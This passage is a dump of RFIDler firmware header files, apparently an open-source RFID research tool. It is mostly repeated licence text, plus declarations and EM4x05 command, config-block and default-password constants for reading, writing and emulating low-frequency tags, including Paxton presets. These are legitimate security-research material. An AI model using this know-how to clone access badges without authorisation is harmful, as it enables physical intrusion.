    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nBOOL debug_get(BYTE pin);\nBOOL debug_set(BYTE pin, BOOL state);\nBOOL debug_toggle(BYTE pin);\nBOOL debug_on(BYTE pin);\nBOOL debug_off(BYTE pin);\nvoid debug_show(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/detect.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nvoid detect_init(void);\nvoid detect_external_clock(BOOL wait, BYTE max_hz);\nunsigned long read_external_clock_burst(unsigned int ticks);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/em.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// em4x02\n#define EM4X02_DATABITS         64\n\n// em4205/4305 (em4469 compatible command set)\n#define EM4X05_DATABITS             512\n#define EM4X05_BLOCKSIZE            32\n#define EM4X05_CONFIG_BLOCK_NUM     4\n#define EM4X05_USER_DATA_BLOCK_NUM  5\n#define EM4X05_PW_BLOCK_NUM         2\n#define EM4X05_DATABLOCKS           14 // note 2 more blocks exist, but can only be written with \"protect\" command\n#define EM4X05_INFO_BLOCK_NUM       0\n\n#define EM4X05_WRITE_DELAY      1340 // eeprom write in FCs\n\n// em4205 commands (leading 0 + 3 bits + even parity)\n#define EM4X05_LOGIN            \"00011\"\n#define EM4X05_WRITE_WORD       \"00101\"\n#define EM4X05_READ_WORD        \"01001\"\n#define EM4X05_PROTECT          \"01100\"\n#define EM4X05_DISABLE          \"01010\"\n\n// config block masks\n\n#define EM4X05_MASK_RESERVED                0b11111000000000000000000000000000\n#define EM4X05_MASK_PIGEON                  0b00000100000000000000000000000000\n#define EM4X05_MASK_UNUSED_4                0b00000010000000000000000000000000\n#define EM4X05_MASK_RTF                     0b00000001000000000000000000000000\n#define EM4X05_MASK_DISABLE                 0b00000000100000000000000000000000\n#define EM4X05_MASK_UNUSED_3                0b00000000011000000000000000000000\n#define EM4X05_MASK_WRITE_LOGIN             0b00000000000100000000000000000000\n#define EM4X05_MASK_UNUSED_2                0b00000000000010000000000000000000\n#define EM4X05_MASK_READ_LOGIN              0b00000000000001000000000000000000\n#define EM4X05_MASK_LWR                     0b00000000000000111100000000000000\n#define EM4X05_MASK_DELAYED_ON              0b00000000000000000011000000000000\n#define EM4X05_MASK_UNUSED_1                0b00000000000000000000110000000000\n#define EM4X05_MASK_ENCODER                 0b00000000000000000000001111000000\n#define EM4X05_MASK_DATA_RATE               0b00000000000000000000000000111111\n\n// config block bit shifts\n\n#define EM4X05_SHIFT_RESERVED               27\n#define EM4X05_SHIFT_PIGEON                 26\n#define EM4X05_SHIFT_UNUSED_5               25\n#define EM4X05_SHIFT_RTF                    24\n#define EM4X05_SHIFT_DISABLE                23\n#define EM4X05_SHIFT_UNUSED_4               21\n#define EM4X05_SHIFT_WRITE_LOGIN            20\n#define EM4X05_SHIFT_UNUSED_3               19\n#define EM4X05_SHIFT_READ_LOGIN             18\n#define EM4X05_SHIFT_LWR                    14\n#define EM4X05_SHIFT_DELAYED_ON             12\n#define EM4X05_SHIFT_UNUSED_2               10\n#define EM4X05_SHIFT_ENCODER                6\n#define EM4X05_SHIFT_DATA_RATE              0\n\n// info block masks\n\n#define EM4X05_MASK_CUSTOMER                0b0000000000001111111111000000000\n#define EM4X05_MASK_CAPACITOR               0b0000000000000000000000001100000\n#define EM4X05_MASK_CHIP                    0b0000000000000000000000000011110\n\n// info block shifts\n#define EM4X05_SHIFT_CUSTOMER               9\n#define EM4X05_SHIFT_CAPACITOR              5\n#define EM4X05_SHIFT_CHIP                   1\n\n// config values\n#define CHIP_TYPE_EM4205                    8\n#define CHIP_TYPE_EM4305                    9\n#define EM4X05_MOD_MANCHESTER               1\n#define EM4X05_MOD_BIPHASE                  2\n\n// config blocks - note when encoding data blocks, remember to reverse bits as EM4X05 delivers data LSB \n#define EM4X05_DEFAULT_CONFIG_BLOCK             \"0002005F\"  // everything default to false, Manchester, RF/64, maxword 8  (128 data bits / 4 words)\n#define EM4X05_READ_LOGIN_CONFIG_BLOCK          \"0006005F\"  // as per default, but with READ LOGIN set\n#define EM4X05_WRITE_LOGIN_CONFIG_BLOCK         \"0012005F\"  // as per default, but with WRITE LOGIN set\n#define EM4X05_READ_WRITE_LOGIN_CONFIG_BLOCK    \"0016005F\"  // as per default, but with READ & WRITE LOGIN set\n#define EM4X05_UNIQUE_CONFIG_BLOCK              \"0001805F\"  // EM4X02/Unique - Manchester, RF/64, maxword 6 (64 data bits / 2 words)\n#define EM4X05_PAXTON_CONFIG_BLOCK              \"0001805F\"  // EM4X02/Paxton - Manchester, RF/64, maxword 6 (64 data bits / 2 words)\n#define EM4X05_FDXB_CONFIG_BLOCK                \"0002108F\"  // FDX-B ISO-11784/5 - BiPhase ('57 - inverted), Delay ON BP/4, RF/32, maxword 8 (128 data bits / 4 words)\n\n\n// data blocks\n#define EM4X05_BLANK_BLOCK                      \"00000000\"\n#define EM4X05_PWD_DEFAULT                      \"00000000\"\n                                                    \n\nBOOL em4x02_get_uid(BYTE *response);\nBOOL em4x02_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL hex_to_em4x02_bin(unsigned char *em, unsigned char *hex);\nBOOL em4x02_hex_to_bin(unsigned char *bin, unsigned char *em);\nvoid bin_to_em4x02_bin(unsigned char *em, unsigned char *bin);\n\nBOOL em4x05_send_command(BYTE *command, char address, BOOL send_data, BYTE *data, BOOL get_response, BYTE *response, unsigned int write_delay);\nBOOL em4x05_forward_link(BYTE *data);\nBOOL em4x05_get_uid(BYTE *response);\nBOOL em4x05_disable(void);\nBOOL em4x05_write_word(BYTE word, BYTE *data, BOOL verify);\nBOOL em4x05_read_word(BYTE *response, BYTE word);\nvoid bin_to_em4x05_ota(unsigned char *ota, unsigned char *bin);\nBOOL em4x05_ota_to_hex(unsigned char *hex, unsigned char *ota);\nBOOL em4x05_config_block_show(BYTE *config, BYTE *info);\nBOOL em4x05_emulate_config_block(BYTE *config, BYTE target_tagtype);\nBOOL em4x05_login(BYTE *response, BYTE *pwd);"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/emulate.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\nBOOL emulate_tag(unsigned char *UID);\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/fdxb.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or 